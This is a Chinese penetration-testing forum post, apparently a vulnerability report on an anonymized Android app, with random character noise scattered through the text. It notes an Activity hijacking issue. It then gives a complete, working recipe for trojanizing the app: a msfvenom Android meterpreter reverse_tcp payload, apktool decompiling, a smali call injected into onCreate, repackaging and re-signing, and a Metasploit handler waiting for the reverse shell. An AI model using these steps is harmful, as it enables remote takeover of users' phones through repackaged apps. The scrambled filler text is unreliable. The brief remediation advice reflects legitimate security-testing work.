# _7 ^, u. M! G1 q! e( G" l& j 3 m; T+ R. X' _# L9 K8 M

8 A; j+ V1 |1 Y# Y ' V6 W4 t! o$ [1 `7 v8 V B W   + A7 D- a4 W1 J) v( {/ h& J, F ' g: z+ f8 a; E, K7 k/ v. d

" y) t) {$ B* P k y+ M6 c2 J$ J4 X+ j9 T6 u8 z

3 z/ e. P5 H3 i3 M# l' m) _4 z 0 u& X0 a* \# T5 o. i9 e2 R 2 检测结果                    O% S7 s4 `" T- R1 l9 d% f) z$ i* Q- G H. i

* N* T" K! h' J6 r. H 0 j( m c7 q$ F7 S V

1 o: p/ Y0 S& O/ N8 q 8 b& o" w7 D9 q/ J; t' |, L+ C# J 2.1 某某某 ) O) R4 z: C4 s, T0 n- Q$ h( u, R2 E! x- M- E

( Q: B2 ~6 P0 u' s c6 M6 J. ?( R0 U1 I' C6 K2 S( c$ ~

- K# Q! s" L. f/ D0 @ $ u& u5 c t6 L$ k 2.1.1检测目标 . x) B% |3 z2 v2 \$ h+ c! K, J8 ~* ?. c8 R$ \/ O$ v

- C' a% `) t" X: m; R; y+ V 6 y5 e$ k8 P, q Y. }, {/ v+ @

3 G. O% i. n: Q3 W6 O/ s % W4 X4 U9 D! H0 e1 \ 目标地址: 某某某某某某APP 4 k9 W" `/ }8 j4 k " |! t! }6 h( P$ \' ?5 i; }1 @

- M5 h9 Z5 }( y* G; ` 1 R7 y* V; o, V" i% m6 F+ b4 a

9 p+ ^9 V; K& X! |# ~4 c x9 A* q+ Z, r# o" U. S" b F3 r' C 2.1.2检测结果 n4 U/ q2 f7 Y9 u! M% [9 K+ n3 B5 `& O ( V9 I) ?: l: E2 }: _) |

# P' _ V: I% H4 a . p; f$ s. o; F0 u5 s

& d# H# \2 ~! Z' m6 F0 ~ ) R1 P1 W1 l* A' G2 u 2.1.2.1 ; ^3 f S: ?2 t( R& x/ @( K; L/ V. b4 p! ]( \

) l+ y6 p2 e7 a1 E# w4 @ * b" S8 W# n \" k$ j0 A5 B

7 {8 W+ M5 T, z& Y; ` m" o% O5 `4 D. _/ g/ } 漏洞链接地址:某某某某某某APP + C; Q# l; K$ ^4 _3 f" O, [ 2 b) J. R6 e! F' L( `% E

5 P' M* [6 u- |- r4 C0 O; q/ ]: ^* r! s4 A

; d# J5 G3 j% c 2 H8 r* N* @2 {% P$ [, R) f' d   4 r, v$ |; F* L# M) k' e! x & k( z5 E) i2 w' Z

! v) ]* ], Y* s3 L4 z; R8 c6 ? + Y: U. S! p6 B; b% X6 T* p4 f$ X

& G/ ]' x, b# C" l: ^ `6 F5 Z: [ [8 l7 T 漏洞分析及取证: ) p5 \( T1 y! K! R W( A 7 r) f; F" l) q+ Q+ I

! S1 u/ r( e, ]& V: @: c8 O% f - t; S m. J! q

& [; c, f+ x2 ^1 a8 M* ^, A/ B ( L+ \3 k( ~' L/ B                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: % H: m3 F7 Z* i R: L 8 C2 x1 l5 D3 X% z

" v& j* _) ^' _' _7 H& Y % B q# ~& f0 E, F, {5 ^; |

( t( y$ z1 d I) \" `1 m* @0 ]) o$ ]* `: u3 Q; g9 U# \4 {      2 [5 u* `) [1 D2 n6 L5 g + g3 ^! ]% \2 ~/ \- w# K

" W* j8 m" i- ~8 w/ n 7 ^% Z. F3 O X1 |* F

4 g& f0 ?; e8 i+ A g3 E/ G! x) Z* Q                       % E# [3 r! G5 d; o: [ 7 O4 f* ]8 q* k2 S- w

, _) {8 t5 U! A5 y2 C & B' _( N8 J6 M6 Y! ^

1 V4 G2 h% S) \* S! _: I: O 7 h: R5 M* G; `! S5 q . g& f8 I# o; Y0 F, V+ _ 2 [( O7 \$ p# m. t2 h

* G7 R$ x( z( G+ b 2 _& [& c" n. _

) }' M9 L5 E M7 S$ q2 @ ?8 _: H4 m; `/ ? $ ~( h2 L$ }% }# o9 I; T ( Z3 D9 r6 r% F8 n5 v

6 f( V) k' H" D: T / @0 K2 z: K- s, a- D. @

9 `; |. s7 R, u6 r. w6 B 4 ^- Y* i# i1 h5 K # Q' {$ c1 j; c$ s # G4 Y! o/ f5 [! g7 t

! V p9 n/ b7 O4 s% M) u ) d/ ]3 C$ o5 }7 A: v. D# `

) |/ `- j$ p% V* z; Z( Z 4 N" B) m: [) d3 o 漏洞危害:高 1 U, C5 w" s4 y 3 [- ^9 E2 _: x/ B" U0 U

( x$ L1 H& D" Z# d ! S9 w7 `3 O! T; ^& ?
) C7 H$ i$ e! e% F( Y8 X3 j$ |; {' C0 o2 I( g( z2 S ' a2 v/ U' m& M4 I6 r; J7 G' A- e+ Q: V: T" h/ }% C G6 Q1 u+ ]9 p. i H; F! }8 [1 W4 {; [8 s5 t0 S! a# \2 W3 p# g S0 p6 m8 i0 R9 {* g. B: h! d w. L( S" f; N, M9 W' V L7 j+ s9 Y' N: ]# R6 I# H5 l+ _! ~/ l/ _6 l$ m) B; A9 N2 _0 L9 m# L+ ]- c+ T0 c5 t3 x: F" T- v( k$ Z# n4 ?" q5 h, @/ |1 o& X* g/ T$ c1 j. B$ A% S7 e: j' p c% K7 P9 O6 e+ @1 B1 }' K6 b+ ^1 r% w/ H' j T1 h6 E; t% l3 O9 T! x. B/ ]8 p6 p# E9 ^1 M2 j/ |/ N. s& g; T! \; P, s8 x& z9 N5 Y7 ~% s W+ p |) `; I% y! B1 \: Y' l6 |; |) K y+ h% d, j j, x: W" r2 ~/ u: Q! R7 Y, |) H) I
( y- I1 G% l$ L% v( @ 2 W9 K* L, D2 ^7 Y% L& z, C3 \; c4 l

: [ I# U1 V7 c# D- ?; S& n, K5 v- R" s$ z+ C) ~9 w' P 严重程度 % ^- @1 j" u; H' R% K 8 [6 Q; l5 E8 u. B+ Z& j( S+ }6 b

& ]& z9 g5 {1 K: D7 Z h( E 3 D+ m' {. n+ Z* m- {
. V) n' l1 X4 z 7 l; n( s( B+ _* Y) M) L$ `

4 K3 Y; }3 j, t( v8 S$ y- g$ M 4 \, U+ M* e8 a$ Q/ l8 H 9 @/ v/ w$ V& d( b% O ; ~, Q8 ]7 \; y

6 g, u z' m1 n' n: T$ L - m: M+ D6 K' i" h
+ j9 a% {7 n- Q: N & C3 W) J2 c* j& [% I

# p2 X4 p$ n4 |* s; f0 | - W" |) g) U' c8 @; {+ \ % q ^* l8 j% s3 c ' a- O* S d; `; b+ C6 _% x

# ?/ d K! x8 q G4 \ : M$ N( M) n& P4 g+ i
+ t: }9 {1 I; T% J) Q+ N, a' d0 A / A5 m3 m7 r( @+ J X' C

9 M: b1 f6 Q( R( r8 c' m/ p) q+ D8 p6 T4 V' n" P- G 1 E4 I6 T) d( F% V1 `4 D5 m0 n, o , X+ k5 `: e& a! |

8 q; W9 {8 x8 s7 c& d - z: h- C+ K5 K ] E. r5 F# d
! e& n$ O, H& ~ . L0 E9 ?$ f3 \! p! r7 J

) }+ t% |: Z. H! f 5 O& j9 b' O2 E* a1 }   / A& h9 t, I$ E( G6 x, B) c ; K; `9 B, ?0 T% Q( \

3 Q" B6 {! f$ {+ X' A/ a$ D9 P: w$ S5 b
: P5 s1 S; r$ v ) b+ r) s; N& \& Y

* b, W) w6 ~. |' Q: [- B, [0 M3 Y }, H0 y' s$ a W2 p : u0 ^2 y) }- ]. b8 e: h * ]$ d1 }* m* S5 w; m/ K5 k' `

( [- h7 A6 P8 [- w # t3 k# V* ]" l1 l
# }( e# \% E# n$ ~ / c- Q0 D$ k/ X! ]

( C, \" I3 Z$ Y. ]3 T; l3 o: l - X* e& `2 }# C1 W3 b% D2 V4 M   / D" ?5 \" h' u4 w% ?! x8 f ; [. O6 R; g: |$ ?$ M3 f' o

: }; |! E% W% `9 u5 w4 H+ d6 r$ J, k1 f
( Q, C, p3 p! N1 L/ a8 A$ m i 3 k) l0 d4 r& D9 q H. A/ I+ G
- R9 E+ |. ]$ |$ Y3 A x+ ~4 j: G' a* H" k# k

0 L2 p Z6 }3 J$ X 8 c' F2 ]! _, _1 N t4 z   S: c K0 b5 K2 ]5 R/ t: n + c f. r% Z, w6 w) h% `

% s; p* @+ i# i 4 {0 D2 T; h) l5 ?9 \

9 K4 X4 Q( c) x : ^' L0 b. x5 W2 ^ 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 8 F B0 ]9 `6 L6 |. p" K& d2 d + K8 I7 q9 s# ], y9 q" _; _

% l& u, G) a0 f2 [2 m: O/ n9 E - b6 u! B4 z* u7 J7 k

" x, c7 p3 Q( S z0 O4 o2 Y9 A" L# g/ o. k# l           ) Z( J. H. F* I! \9 s & E0 i/ d4 ^ C) K

/ h' M1 t3 u; d% |6 s; J0 d8 m5 z9 z3 {0 I

0 B. ?, [8 m# |& j % O1 T' Z* h: H   1 A8 r- a$ u9 P. x1 c/ ^ # i( ]# V, {7 o) Z. y* V

^/ F! @0 q9 v9 Q" ]; [' \ ) { E% ]2 }9 D0 J6 y; M

9 O. H/ f- m& j7 b , y4 _. L2 _5 O- ] 2.1.2.2 5 ^2 J5 I( o3 q( l" C& `8 n+ h4 M4 H! w; C

4 L/ O" \ E, u( p - ^+ c. v7 r; N1 M

6 y3 v7 J, j! H0 \% Q& z9 t$ a+ b , ?7 ?6 F! E3 O, D2 C% e% P6 e* }. V 漏洞链接地址:某某某某某某APP 4 @' b- g: S4 v/ G" p & l9 I% J [: x" A/ a

; @7 K# ^7 P5 T5 t" f$ t. v* E: [' n0 w

+ V- O. ?- P* F7 h2 a2 [ / o2 G8 Q3 I( v1 t7 Y: B" M 漏洞分析及取证: / G. u3 K# R# c9 T* f1 t' V 9 ~3 K/ e( |# [6 `7 X: e0 D

2 |$ _3 ]8 U' E% F, y+ Q3 D8 V! G' d. d9 L# {; t4 W: k

( y( U6 K1 C. X$ D. ]2 M6 B9 P, P 6 M9 w8 ?$ U3 F2 _+ |9 O# o3 y                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: / k! t* t2 M0 B# y' `9 D4 T & j1 F# q" H; m, e4 E6 F

2 u$ M$ S1 f0 c( V/ Z5 a/ J" B/ Q4 j, A+ {( i' w. P! j; @

1 `% G) `3 Q$ J1 ?3 v ) N9 K. X/ \0 c9 t- s3 g Metasploit 生成木马 apk / |: F3 I H0 o7 |# G. R( {7 E) U . ~+ V, ]& X8 ~

2 M! O+ G2 ~9 F- C6 z ( M) c9 G8 E, T1 [# F) O

+ d% W. V& E3 e: {1 h0 v* B+ }" V! {/ Y3 h# I3 i msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 8 S" \% {2 ]9 h3 _( } % X5 _1 i5 [2 C1 N$ k" K7 J2 V

' k- `; K" M5 K4 J: O. w- Z4 N1 J) A$ z

% j0 ^) S7 K, k5 Z( G* {7 h: K% H2 p% z: m: M+ Z( l, [; a) y 反编译目标apk和木马apk ! |% r7 m' l% W8 p5 G1 R- k+ r; Q. d6 D

# ~9 }# n3 b7 _% d% J/ B/ b8 ]! t9 R7 |- m- M T

5 }2 f+ M! b+ I# H' T# O' l8 _9 Q5 Z v6 h apktool d target.apk
5 h; x+ r! j8 p7 w, U/ K1 ~+ P2 ~ a0 N* e apktool d cockhorse.apk
$ L/ e; a) w$ F9 w" t) K! Q+ S1 r0 i- I M( w% r

3 O& }& d' t# @( `( z- G. h z 9 }- E8 l, U+ b$ E7 z# n& w. m! w1 ]

@ v7 f: ]$ q& h0 t # V5 a/ R' [% J7 |% e! Y 木马 apk 注入目标 apk " w" T6 h9 V: n/ r $ c' U, k0 P3 u9 k

/ z" R) l5 f7 ]- X+ N. y ) a* ^2 X% z! ?" g2 I# \. Y A% S

+ [/ D# K$ `; v$ l3 M l: |' ^! d 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
- `! H9 |9 K: ]6 S ) z: h* J9 X! l$ W% w# Z" V invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
/ T; E3 Z6 G- c" G6 q- {! h6 n: w6 g; ]7 I' j# w( H

9 `) i" I! M9 d( s 0 R- f4 \4 w% V% ]+ i, e

* T# O- @2 X, p+ p2 H$ H 1 d: g( G; B! P6 Q5 V5 W 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 2 d/ e4 Y& Y0 j% I+ Y ( a2 d0 V S/ @9 C$ `" Z! a3 H

5 x1 a* r- m: G0 z ' l1 x( X& M ~ _& m0 ?

. l$ D$ I: B1 a- v ! \& V; q6 E# G4 N 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ : q! n5 ^! Y0 o ( K q5 p5 Z( b" e

) U$ E: p$ V7 G1 B+ W( \+ P- u- ? 1 ~. X( ~4 [0 `$ D1 e5 j

" n1 p0 i4 U/ ]/ x0 V& v # t) e2 k0 o- s' P 回编译生成最终 apk & X* R+ X$ `4 S5 M6 [ : X5 G6 K7 ~* Z

x, o3 h/ v0 s* ?8 d2 Y3 p* b / G* z1 S7 t( H+ {

& t/ r) ?; a' \3 `: ]. `: u % W' q" Z) y& `2 I4 g 重新打包 $ _) B, f) ]; [4 }; M$ M) |2 K4 {; s3 d# G+ W

2 b- G) E/ X/ p# b- `2 }, L% d5 p4 T& M0 f! X& a: y$ j. z

% m% {! _6 v1 o% r0 _' E8 Z : S0 ~; C. N2 I# a apktool b -o repackage.apk target_app_floder g0 L( D' H# M4 d- G# ^. w! _* ?% o q, J* \

6 P* E& `4 R6 P! b' n. x; \ # t3 D7 o2 ]; Y# [2 C/ C2 H( A

8 H* |8 E( T4 H0 j0 G, r( L- a* s- T: Y 创建签名文件,有的话可忽略此步骤 ; o$ U; A/ g Y; d9 q4 m , t, M0 H" H( J/ `$ l

) o% J( n6 c; Q8 Z- |5 p9 a/ y; e: y 2 ^; ?+ }8 I7 E

# O: B' E0 u+ z " i# }" R! _- k0 V1 ?7 J keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                8 V$ t# h3 z: w5 m 2 n2 _2 c/ ~- w( W

6 a2 P* H$ i8 |9 s$ H O( Z0 y% V2 l$ ?: }, k" T8 U( {

) e6 S$ J. h; i: @ % D" h v% r& U 签名,以下任选其一 ( k5 m0 R; K6 ?: a2 J1 }' m * C3 h/ ~9 w/ F4 P& h2 G

* {% f, I, N A9 l( N7 b2 j e) Q- S# v( M; j9 K1 ^

# l2 v9 n4 i$ [ y" }, L / [5 e3 H$ ~' K jarsigner 方式 0 x. t7 r3 v1 P 4 L0 V9 t# O( F* m; ~& o3 l/ R

; r# C$ ?; f( A0 R `* Z! r+ V V5 u / g1 I( r% @* p6 r9 Y! z" ]

7 E+ y0 Z* q# m# [- }3 ]+ @ 4 B Q4 E) o+ ]8 u/ _8 p jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname * S5 i& Q3 g+ |, x0 m / M _4 h0 g ` E5 Q, x* F

$ x! c( a% }+ v+ w) v; F* ` * ~9 a( d. a# I/ k3 B

6 h Q3 T+ n) J' P* v6 @; R- j 7 ]' l3 M# h7 C- ^! e apksigner 方式 # a0 L) u: j' s9 A- f& Y' h 6 P) D( V' H* u' _

* R5 i0 Y* f& m [ f. {$ ]3 G( t3 ]

; o' S1 g! _) i; J1 S) P ! ?5 {7 L* a9 \% T apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ( ]% }& j6 M- ]4 b: L ( a" b& ]' y! D1 I6 H1 H- q$ `

5 ?7 z/ [/ q' x: w- c9 O* ~ + O, r8 K& \& b: `! z

- U% n# \9 o7 y8 `7 A; J 6 q5 l& A$ y1 b8 n: f; q: ^ 如需要禁用 v2签名 添加选项--v2-signing-enabled false * r, E* h3 |" \) ?# Z" e# F. ?2 ?6 G w. c( m R

6 p5 g: p8 A# X. y3 V7 x- e" p c0 A' w* P

5 w( U$ c# b( Y# C% t/ { # N9 k1 F# c8 w0 n 验证,以下任选其一 - H& r* ~: \ ^7 O4 j% q2 c - [/ `# N/ F( {: `' u

2 S' C) w/ A \3 k1 c4 V' Y& ] / X" B/ I+ T" `, x9 I/ r

% ~4 W) s" L; ?5 L9 T2 [/ M/ {8 d 2 O& \3 e& K P1 F) @! {7 `9 o jarsigner方式 $ s, \. k4 V, z7 U( H k% Q3 k( S" n" S

+ ^7 V1 P5 o* G2 D) f& B& g * p' \& N, i) O( X

3 M! f8 a9 w6 U% O' Z2 N; W , Z) V% P% m/ G) W jarsigner -verify repackaged.apk / D( Z2 z4 o1 W! @, s & i8 t5 m- z; f5 x: ]* C

X O6 Q' P2 u; d' r3 f6 q * d! _( c- t! A: A P8 T/ L

2 b! E0 A# L3 T! X9 p! K8 j3 Z% {: L2 G$ J! C# j e, G2 | A apksigner 方式 " a7 R5 r% \( \( B8 A" j2 o2 _ : B& A1 N& W" ?, `/ \

& ]4 o8 d' m- {# F, v9 l 1 n9 j" r i* X: U

! x0 N/ w: m" l$ Y: `: w a" U0 {! v0 z! {! \6 f apksigner verify -v --print-certs repackaged.apk 6 E6 r8 _" {. Y& } g5 u1 H( o( O) `$ \+ T9 t0 }+ g

9 x: V! B! ]; R ~2 F. i. |# \+ t8 L% |3 G( a$ G! \8 Q

5 ?2 ?, y$ J4 G% z, u . Z9 n3 i9 c6 V9 r5 J keytool方式 6 A- ~3 r( ]% V # `& w3 G& c% \9 K

" A, `! n. c8 j - x7 z$ g; O5 r4 n

2 I1 A- k: `1 X d7 f$ Z, q 1 f2 }+ G, S/ V) d keytool -printcert -jarfile repackaged.apk . I% P1 Y. B" s | 3 @ y6 S# U7 A0 {/ n

2 s, a- [1 v9 b! m S 0 o7 D* K0 i M) X

2 y7 d3 Q5 b* a S- f+ t + ?5 Q+ b- I! l, i- v5 M+ g( z 对齐 0 G! q t+ t' r. |1 D8 k. l& @: Z% b5 F W) B( H& D% O

$ S1 m6 u- d& M: h * f s5 V* Z _- @6 B0 g

! O! Z0 U. |6 w 5 x) }4 P# H6 @. Y4 Y( h 字节对齐优化 8 O2 A: D& V. E% s 1 t" a$ Z4 G) h: A [3 ]8 p! v' w

0 d# f W& _ D6 I; b- y* J 5 P$ ^) y# v! C- d5 T$ c

, x. }5 l4 h7 z, k' _1 X9 y) @- C. s* O/ O# K: Q zipalign -v 4 repackaged.apk final.apk 7 S. |$ K- a0 h6 d9 b$ @ " W) V) Y% b7 d! e( E

6 [ I( D3 Q; g- ^, V3 S" a& @0 S8 W4 D0 A

. q3 L: S9 E2 Z& p" B% o, L $ J) y& z+ g2 x* u* H* L3 b 检查是否对齐 ' [, Y3 H- y5 j z ' T2 J# L a8 X) z. @! ~

3 }1 x& z ?: `$ J4 h p( s* h 0 r! R/ J/ O! h* f" E% i& ?. {2 A

6 Z! b1 U' c/ ?: Q3 O7 b % w1 g# l. X; r2 [( y0 x* M zipalign -c -v 4 final.apk : s5 ?+ u- S, ~0 M& A ; T. L% E3 A3 @/ m! e

" X: }- }5 \7 V 1 H& j" T! o/ @: v

' C) G" D2 a; l9 T6 t3 V1 y. ?+ u4 o 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 # m3 v" j3 H7 L: g% `: s3 p, ]- Q' |

}: o% E# l. s7 f- E8 r* C2 W* k( N& Y# {* _) X, V

+ O) S' y# B0 c" _& M8 b: i: i 1 q( h: k, X$ E0 k* A) f: { 启动Metasploit控制台,配置参数等待上线 8 u* p5 T* }2 {/ R& S' d( C* B T/ t6 k0 S/ U+ N' B- c6 V

/ F4 ~+ z) ]* \6 r" z 3 x. Q5 X" W0 @/ R- S/ V

* C8 ^) v2 j1 |$ B; Y' y$ y' y 3 u, A% Z+ y% {9 U Q( k 在终端依次输入如下命令 ' U5 p$ F+ ?8 u" P1 B p4 i) E$ T5 E4 \; G6 A L3 \# k6 _

. P/ v! y2 @) }8 s& f& O8 L' Y; T# Y. @: O/ L* E& ?

" c3 l. p. w7 n" E7 Z& m7 N 2 {0 ]! Z0 A. [. M/ c$ T# y msfconsole # ~8 @7 K4 ?4 Y& \7 x0 t- p , o0 Y( M1 G4 J5 d1 R

: M- W; T7 a* m% i4 R+ k , i X+ W' d5 o/ k

2 j6 t7 G9 ~7 l3 `$ x" j5 I: y6 |2 W, I, { use exploit/multi/handler % c- q* e! t' ?. ] ( Q* k7 W" X1 E7 X: _

; I& e( ~8 P0 |5 u& s3 `/ l / g6 @( V, a. L, a! @

5 R b& W0 F) V' T- x4 Y. j % J- n; l) g' d- u5 ?& q set PAYLOAD android/meterpreter/reverse_tcp 5 k( p/ O; j; J , S8 t# \" `* h3 z/ ~6 p1 G: i

* _9 \; p; J: b/ Q5 W" v7 p ) N) ?4 [ J- O D

9 d7 b+ V+ a, ]2 R : I4 a( j% W& _+ ? set LHOST 192.xxx.xx.xx " ~9 |) s: H& y8 l# @, F3 L0 h J4 u+ U/ ~4 B, J( r+ a/ V

3 E, z; A$ }% L3 V- K2 S$ M/ V ' l: f$ @ d$ T6 p9 \ y- e" F

, ]$ ~9 E4 W2 n! ]& P . w4 X0 b+ o( P& K ]# G set LPORT 4444 ) @) r6 p: Q2 q* F# d0 g$ e' q9 |' t7 B0 L! o: ]' M5 W

8 U) R3 P( j' y t0 {" N* c: l4 h/ t/ ?% k

7 c) g5 j* u$ z' I: q' e! e% u* a( L* l. x exploit 0 S! }7 R) |* Z! A2 Y- L/ Q( t" j( d" i5 M, C) J

L( \9 z& ]/ Y: {* d1 ]+ P& A9 }( O# O% Z/ [, F

& P7 V" p- D, K ' E) g# h& c* x1 ]1 L% B 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ! K [) y- u; q 9 u2 F- L) _4 }

, T" Q6 B$ Q9 k4 I # S& J7 r ^1 j4 p: j

# S+ l2 l/ Q t' Z" D) s$ _6 H ( [ D1 q7 i# q+ H 漏洞危害:中 # k! {- k0 w& [: h/ y1 I / U, d" ?* b; _7 N) G) l

/ U; C+ l. @" W 8 m/ d4 E, k6 `# e% M
" F% p& `, V Y/ `: I* L5 {, {5 [4 ]. Q% G6 ? & q6 F. ~9 P7 N 0 W1 J; Q6 I( x2 `- ` $ X# b% I0 E! j4 M. |/ u. o" I5 u5 s+ q" {& j) H8 N( ?0 n1 }3 I( ?& E4 n3 T# ^; R4 q2 T" d# [0 {; R% v, M, d' s; N; \6 m' u& `+ K/ K3 @% ` U! Q( C9 a5 Q( m i3 }( ^1 _8 ^5 ?. J* ^& J6 t) W! e7 J4 o; Q2 F: @/ P# l- O1 f4 l+ j' L5 S" ~1 p4 j' z( I0 J. G2 Z! v8 z+ Q9 e, c7 ~8 A. c- O' R; d$ N! [9 N5 c7 K' w0 L7 B0 N4 _9 V2 {2 \9 k( Y5 S3 l! E) @" q$ U" R+ ?3 b) ~) n. z8 }0 O+ {2 p* @8 F1 g2 E3 v3 w. B- _; z; x0 ]# }2 }. O0 N6 X+ h5 S" V1 G8 Z) C8 k9 e7 t5 v0 B4 p) A" v% @8 i5 P1 d# k/ {5 f+ ~# w/ V' o- A& }5 {3 @/ K3 K% Y: y: ]# W7 r$ w G$ }4 m* f! a9 L# b! U5 |) k9 f# J1 o
" t& r2 B8 Q& j! M A" n( z# b8 x1 u0 p- E6 J

) K0 Q: U) L$ l; x1 c3 W5 D3 Q$ u& G9 D & e H4 M3 x% z F" V, E, \' m% Y 严重程度 4 A$ C/ x1 D! O+ H& V! B' G0 g* D1 G2 p0 F4 b! n

, c5 B3 T' q$ O$ j! ^' Y , |! z2 q$ G0 Y( H
9 @- P4 {0 [' J& N4 f; r, [( M4 H d9 S2 @

+ g! L) u+ t8 r4 s+ O: @ " ]3 ? L. m) H $ y+ |" W+ L9 C; _5 L/ w3 j" t$ K. B, I; \. k' @# X) R. B6 o2 e

9 O: O9 Y7 u5 e1 @4 s* {3 s; l & A, E* g( B) m& m& L+ X4 F$ @& x
; W5 l1 l& }8 N9 ~2 F/ w ' e- N4 {+ X2 e$ Z

6 R; I; D: e9 Z5 T- u) L, g @$ I " m; b2 T; v2 |% Z+ [- I , S- D8 [8 [% P' ^ { " z+ k, J' H0 T7 v" V% c* G9 ^9 V7 o

) A6 z9 I: w! a/ E2 R$ W3 B- B 5 }! T$ ^( Q7 O$ x. o5 n: A( H
5 G& k6 o' }: r; c . R) c0 ?+ @* B. b+ e8 |/ K' g- y

* A7 o0 y, c; d4 `0 a W! P0 I9 \, d% Y" R( F4 K& @. k8 Y 7 W" N7 v1 ]0 z9 D0 Q, r) A# d/ I: d4 s# d

; |2 p. d8 b0 U; z, n/ E2 ~5 _# m: S) c
1 l: Q* W% o$ Z2 W& d6 X ' K% G# @4 | A. B+ t- r. u $ `% _# h; \" ?( J& G. U) [; }9 a6 w! e

4 ?$ }4 X" g8 M $ k4 i* \8 o$ z, d2 g* j+ a) j   ! O1 ~! X6 J. ?' Z # f9 B5 v) T }4 |: l

" p6 x6 p% S; a! g/ i& \ w. r3 x5 v) d( `! F- k
5 B1 u( R, k. a8 ~) B & `9 w8 v l" Q

+ y$ X! c0 N- o0 t( j1 H8 Z6 j. E2 M+ h; _6 l/ T, y 3 |- { G2 @& d7 }! e. ?" i9 F / c# {' e) Q2 i

/ S* E- p; K Z- u1 m* u1 [( L ( O) p3 f) [% ?
% G: J7 v. P$ n! C+ B& |1 y- @ 5 i7 G4 Z$ n7 R# m7 p0 ` a+ N$ z9 I7 m4 p. `3 @% ?3 u 9 p6 O0 d0 t; S0 p- D# q' q* z

; d% D0 P" c8 l) g& i9 n* K 7 p, h- j6 ?( d2 P+ d% U7 [$ j   " m3 W: u% r3 J) D# @ * A3 Z& k! y$ ]6 C8 T4 f5 d* B w

+ Q9 W6 [# O6 B2 }. [6 E. f- E9 Q& ^7 p$ U% r7 b
- q) w6 p. I# o7 e" [2 [6 T' a7 Z! Y9 t0 W+ {0 W) w! V
% U& `6 X8 }* U' R( h , Q {$ i2 P5 o; f& ^( @

Q. T6 Q0 E4 r# G , c$ h" Z: K; u3 @& Y1 t   1 N/ ?7 B; N+ f+ O, H ; Q8 A' }: C( l

. B5 N1 h/ q! M1 D9 e. m2 M 1 V1 I' c7 N' m1 [2 y

- c; G. F9 G" ? t) _" R2 x& Q% r9 x5 g9 m7 f0 U 修复方法: " c P3 _( z2 c: E2 P; s 4 L! C3 x, Y5 N$ i* S; T2 H# K J

0 C$ v2 o" h% i' s; e B+ o4 b - t. z+ B: \. |

& x7 J5 Q. L9 Q a- b* _, @- b0 h               1. APP 启动时应做签名校验防止二次打包。
. D! q1 h B- m9 @4 z3 D; g @ 1 y7 a% P: a3 l& z6 D+ n 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 " U0 U- Y& K# I+ B$ v2 K 1 _" b+ Z/ N& Z4 O s

8 q8 ? u- i$ l, A; ?2 _- d6 l( U3 C% N( D* j - ?! y" b/ e2 Z* s7 a6 ^- G; E9 Q

( c: b# ]' p# B* V k6 t& m- q) e+ M3 T: h( H' o   0 W* E' Y0 F* Q4 ~! I! h1 s- F. s2 ^2 Q1 U% p

?* m! [( J' `* c% ` 9 F/ o7 K6 m+ A1 a. I- @ . s$ s/ y2 y# u' f- A! B7 k @: y % G; h* ~& ^# p% K4 C

1 I. K+ o+ c4 `2 U / h" k3 X4 P5 h" U
& v. {4 ~1 O+ h0 P- i * G& X: s' F* ~3 }1 u4 ^/ \

: f0 H5 r6 ~. t( I/ l 1 o I" i4 a/ r( I/ i0 q0 i: C





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2